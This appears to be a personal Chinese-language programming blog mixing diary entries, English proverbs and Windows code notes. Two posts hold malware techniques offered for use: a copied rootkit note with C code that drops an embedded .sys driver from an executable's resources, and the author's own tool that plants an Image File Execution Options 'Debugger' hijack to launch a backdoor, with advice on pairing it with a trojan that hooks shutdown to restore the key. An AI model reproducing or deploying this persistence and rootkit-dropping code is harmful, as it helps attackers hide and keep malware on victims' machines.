Skip navigation.

exploreopera

| Help

Sign up | Help

L4bm0s' s Blog

Better never to begin than never to make an end..

好累哦

今天真累啊,连续上了5大节的课,饭都没吃好,唉,忍了吧!

系统出问题啦

原来传闻是真的,驱动这玩意不能随便搞,昨晚装了一个自己写的驱动,结果系统就出问题了,不断重启,应该是重启以后,系统就进不去了,安全模式也进不了,无奈之下惟有重装系统了,唉,丢失了一部分重要的资料,痛苦啊!

[笔记]Decompressing the .sys File from a Resource

笔记:

Decompressing the .sys File from a Resource

Windows PE executables allow multiple sections to be included in the binary file. Each section can be thought of as a folder. This allows developers to include various objects, such as graphics files, within the executable file. Any arbitrary binary objects can be included within the PE executable, including additional files. For instance, an executable can contain both a .sys file and a configuration file with startup parametersfor the rootkit. A clever attacker might even create a utility that sets configuration options "on the fly" before an exploit is used with the rootkit.

The following code illustrates how to access a named resource within the PE file and subsequently make a copy of the resource as a file on the hard drive. (The word decompress in the code is imprecise, as the embedded file is not actually compressed.)
// freerk.cpp : Defines the entry point for the console application.
//
//----------------------------------------------------------------
// build a .sys file on disk from a resource
//----------------------------------------------------------------
bool _util_decompress_sysfile(char *theResourceName)
{
HRSRC   aResourceH;
HGLOBAL aResourceHGlobal;
unsigned char * aFilePtr;
unsigned long aFileSize;
HANDLE  file_handle;

/*The subsequent FindResource API call is used to obtain a handle to the embedded file. 
A resource has a type,in this case BINARY, and a name.*/

//////////////////////////////////////////////////////////
// locate a named resource in the current binary EXE
//////////////////////////////////////////////////////////

/*The FindResource function determines the location of a resource with the specified 
type and name in the specified module. */

aResourceH = FindResource( NULL , theResourceName , "BINARY" );
if(!aResourceH)
{
return false;
}

/*The next step is to call LoadResource. This returns a handle that we use in  subsequent 
calls.*/

aResourceHGlobal = LoadResource(NULL, aResourceH);
if(!aResourceHGlobal)
{
return false;
}
//Using the SizeOfResource call, the length of the embedded file is obtained:

aFileSize = SizeofResource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);
if(!aFilePtr)
{
return false;
}

/*The next loop simply copies the embedded file into a file on the hard drive, using the resource's name as the file name. For example, if the resource were named "test," then the resulting file would be called test.sys. In this way, an embedded resource can be made into a driver file.*/

char _filename[64];
snprintf(_filename, 62, "%s.sys", theResourceName);

file_handle = CreateFile(
filename,
FILE_ALL_ACCESS,
0,
NULL,
CREATE_ALWAYS,
0,
NULL );

if(INVALID_HANDLE_VALUE == file_handle)
{
int err = GetLastError();
if( (ERROR_ALREADY_EXISTS == err) || (32 == err))
{
// no worries, file exists and may be locked
// due to exe
return true;
}
printf("%s decompress error %d\n", _filename, err);
return false;
}
// While loop to write resource to disk
while(aFileSize--)
{
unsigned long numWritten;
WriteFile(
file_handle, 
aFilePtr, 
1,
&numWritten, 
NULL );

aFilePtr++;
}
CloseHandle(file_handle);
return true;
}

/*After a .sys file has been decompressed to disk, it can be loaded using one of the rootkit
loading methods we have already outlined. We now discuss some strategies to get your rootkit to
load at boot time.*/

写出了第一个驱动

这几天开始学编写驱动,昨天按照书上的例子,自己写了下,但是在DDK下编译却总是不成功,后来在Whitecell论坛上发了个帖请教了下牛人,总算弄懂了原因,原贴地址http://www.whitecell.org/forums/viewthread.php?tid=529,原来我刚开始的时候用到了C++,后来才知道,在DDK编译环境下,驱动文件是用C写的,我把文件改成了C,再编译,成功了.

#include <ntddk.h>

#define DEVICE_NAME  L"\\Device\\devDriverDemo"
#define LINK_NAME    L"\\??\\slDriverDemo"

NTSTATUS
DriverEntry(
                        IN PDRIVER_OBJECT  pDriverObj,
                        IN PUNICODE_STRING pRegistryString
                        );
NTSTATUS
DispatchCreateClose(
                        IN PDEVICE_OBJECT pDevObj,
                        IN PIRP           pIrp
                        );
VOID
DriverUnload(
                        IN PDRIVER_OBJECT pDriverObj
                         );

NTSTATUS
DriverEntry(
                        IN PDRIVER_OBJECT  pDriverObj,
                        IN PUNICODE_STRING pRegisterString
                        )
{
        NTSTATUS status = STATUS_SUCCESS;        
        
        UNICODE_STRING ustrDevName;     // 设备名称
         UNICODE_STRING ustrLinkName;    // 符号连接名称
         PDEVICE_OBJECT pDevObj;
        DbgPrint( "DriverDemo: DriverEntry...\n" );

        pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
        pDriverObj->MajorFunction[IRP_MJ_CLOSE]  = DispatchCreateClose;
        pDriverObj->DriverUnload                 = DriverUnload;


        RtlInitUnicodeString( &ustrDevName , DEVICE_NAME );

        status = IoCreateDevice(
                                pDriverObj,
                                0,
                                &ustrDevName,
                                FILE_DEVICE_UNKNOWN,
                                0,
                                FALSE,
                                &pDevObj );
        if( !NT_SUCCESS( status ) )
        {
                return status;
        }

        RtlInitUnicodeString( &ustrLinkName , LINK_NAME );
        
        status = IoCreateSymbolicLink( &ustrLinkName , &ustrDevName );

        if( !NT_SUCCESS( status ) )
        {
                IoDeleteDevice( pDevObj );
                return status;
        }
        return STATUS_SUCCESS;
}
VOID DriverUnload(
                        IN PDRIVER_OBJECT pDriverObj
                        )
{
        UNICODE_STRING strLink;
        
        DbgPrint( "DriverDemo: DriverUnload...\n" );
        RtlInitUnicodeString( &strLink , LINK_NAME );
        IoDeleteSymbolicLink( &strLink );
        IoDeleteDevice( pDriverObj->DeviceObject );
        return;
}

NTSTATUS
DispatchCreateClose(
                        IN PDEVICE_OBJECT pDevObj,
                        IN PIRP           pIrp
                        )
{
        pIrp->IoStatus.Status = STATUS_SUCCESS;
        DbgPrint( "DriverDemo: DispatchCreateClose...\n" );
        IoCompleteRequest( pIrp , IO_NO_INCREMENT );
        return STATUS_SUCCESS;
}

代码很简陋,不过毕竟是刚开始学,以后慢慢就好了:wink:

有意思的东西

昨天看了一篇有意思的技术文章(原文出处http://www.cnhacker.com/lmyc/lmjc/2007-01-10/52.html),说的是利用注册表启动后门,看了一下,觉得有点意思,顺便写了个工具出来,如需转载,请表明作者以及文章出处,谢谢:

/****************************************************
*
*     A simple tool to startup our backdoor
*
*     Author  : L4bm0s<L4bm0s@gmail.com>
*
*     QQ      : 76137660       
*
*     HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath );
BOOL WINAPI RemoveKeyAndValue( char * KeyName );
void  Usage( char * name );

const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;


int main(int argc, char* argv[])
{
if( argc != 3 && argc != 4 )
{
Usage( argv[0] );
return -1;
}
if( argc == 3 )
{
if( !strcmp( "-r" , argv[1] ) )
{
BOOL ret;
ret = RemoveKeyAndValue( argv[2] );
if( ret )
{
printf( "Remove Key Success!\n" );
return 0;
}
else
{
printf( "Remove Key Fail: \n" );
return -1;
}
}
else
{
Usage( argv[0] );
return -1;
}
}
if( argc == 4 )
{
if( !strcmp( "-a" , argv[1] ) )
{
BOOL ret;
ret = SetUpKeyAndValue( argv[2] , argv[3] );
if( ret )
{
printf( "Add Key and Value Success!\n" );
return 0;
}
else
{
printf( "Add Key and Value Fail!" );
return -1;
}
}
else
{
Usage( argv[0] );
return -1;
}
}
return 0;
}

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath )
{
HKEY hKey;
HKEY hValueKey;
LONG ret ; 

ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE , 
TargetKeyName , 
0 , 
KEY_ALL_ACCESS , 
&hKey );

if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx: %d\n" , GetLastError() );
return FALSE;
}
else
{
ret = RegCreateKeyEx( hKey , 
KeyName , 
0 , 
NULL , 
REG_OPTION_NON_VOLATILE , 
KEY_ALL_ACCESS ,
NULL ,
&hValueKey ,
NULL );
}
if( ret != ERROR_SUCCESS )
{
printf( "Error RegCreateKeyEx: %d\n" , GetLastError() );
return FALSE;
}

ret = RegSetValueEx( hValueKey , 
"Debugger" , 
0 , 
REG_SZ , 
( BYTE * )ValuePath , 
strlen( ValuePath ) );

if( ret != ERROR_SUCCESS )
{
printf( "Error RegSetValueEx(): %d\n" , GetLastError() );
return FALSE;
}
return TRUE;
}
BOOL  WINAPI RemoveKeyAndValue( char * KeyName )
{
HKEY hKey;
LONG ret;
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE , 
TargetKeyName , 
0 , 
KEY_ALL_ACCESS , 
&hKey );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
return FALSE;
}
ret = RegDeleteKey( hKey , KeyName );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
return FALSE;
}
return TRUE;
}
void Usage( char * Name )
{
printf( "\t\t   A simple Tool to Startup our Backdoor\n" );
printf( "\t\t    Written by L4bm0s<L4bm0s@gmail.com>\n" );
printf( "\t\t        Http://my.opera.com/l4bm0s\n\n" );
printf( "To add a Key and Value:\n" );
printf( "Usage: %s -a KeyName ValuePath \n" , Name );
printf( "Example: %s -a iexplore.exe C:\\WINDOWS\\system32\\cmd.exe\n\n" , Name );
printf( "To remove a Key:\n" );
printf( "Usage: %s -r KeyName\n" , Name );
printf( "Example: %s -r iexplore.exe\n\n" , Name );
printf( "If these is any bug about this tool , please contact me ;)\n" );
return;
}


其实原理很简单,大家看前面我给的地址的那篇文章就会明白,不过当我们修改了注册表以后,原来的文件就打不开了,所以这样还是不能达到目的,我想到了一个方法,大家看下面的代码:

/****************************************************
*
*     Test Code
*
*     Author  : L4bm0s<L4bm0s@gmail.com>
*
*     QQ      : 76137660       
*
*     HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
HKEY hKey;
LONG ret;
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE , 
TargetKeyName , 
0 , 
KEY_ALL_ACCESS , 
&hKey );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
return -1;
}
ret = RegDeleteKey( hKey , "iexplore.exe" );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
return -1;
}
STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory( &si , sizeof(si) );
        si.cb = sizeof( si );
        ZeroMemory( &pi , sizeof(pi) );

char cmdline[] = "cmd.exe";

CreateProcess( NULL ,
cmdline ,
NULL ,
NULL ,
FALSE ,
0 ,
NULL ,
NULL ,
&si ,
&pi );        
return 0;
}

这篇代码更简单,测试用的,当它被启动以后,它会修改注册表,把我们往注册表里添面加的子键删除,这样的话,原来的文件又可以用了,聪明的大家现在应该想到怎样利用了吧,就是在编写木马的时候,往木马里面加上删除子键的代码,然后再想ByShell那样HOOK关机消息,当HOOK到关机消息的时候,再往注册表添加子键,这样的话,在正常情况下就能确保我们的后门启动了.
刚开始的时候,我是想到添加一个explorer.exe的子键的,成功的话,那么每次启动,explorer.exe都会帮我们启动后门,不过经过测试,发现这个方法不可行,有兴趣的朋友可以自己测试一下,这里只是提供一个思路,大家有好的想法可以交流交流:wink:

BLOG暂停更新

由于学习原因,本BLOG在短期内不会更新,更新时间待定!

还是英语

You can't build a reputation on what you are gonging to do.
你不能靠你声称将要去做的事建立声誉.

Today's opportunities erase yesterday's failures.
今日的机遇可抹去昨日的失败.

Failure is the only high road to success.
失败是通往成功的惟一道路.

英语积累

Adversity is a great schoolmaster.
逆境是一位好老师.

It's better to have fought and lost,than never to have fought at all.
奋战过而失败,强于根本未战.

Better never to begin than never to make an end.
没有决心干到底不如不开始.

Linux & Windows 系统编程<一>

一步一步,同步对比学习Linux和Windows系统编程:wink:

在Linux中,要获得当前工作目录,可以调用getcwd函数:
#include <unistd.h>
  char *getcwd(char *buf , size_t size);

第一个参数buf用于保存当前工作目录的路径名称,第二个参数是buf缓冲区的大小,函数调用成功,返回指向路径名的指针,失败则返回NULL,相关代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#ifndef MAX_PATH
#define MAX_PATH 255
#endif

int main()
{
     char name[MAX_PATH + 1];
        if(getcwd(name , MAX_PATH) == NULL)
        {
                printf("Error: getcw\n");
                exit(1);
        }
        printf("Current working directory: %s\n" , name);
        exit(0);
}


在Windows下,可以调用GetCurrentDirectory函数,这个函数简单,这里就不多说了,代码如下:
#include <windows.h>
#include <stdio.h>


int main()
{
char DirName[MAX_PATH];
if((GetCurrentDirectory(MAX_PATH , DirName))==0)
{
printf("Error: %d\n" , GetLastError());
return 0;
}else{
printf("Current working direcory: %s\n" , DirName);
}
return 0;
}

还是英语

He that does nothing does ever amiss.
什么都不做,本身就是一种错.

Strike the iron while it is hot.
打铁趁热.

Do what is right,come what may.
不管会发生什么,对的就要去做.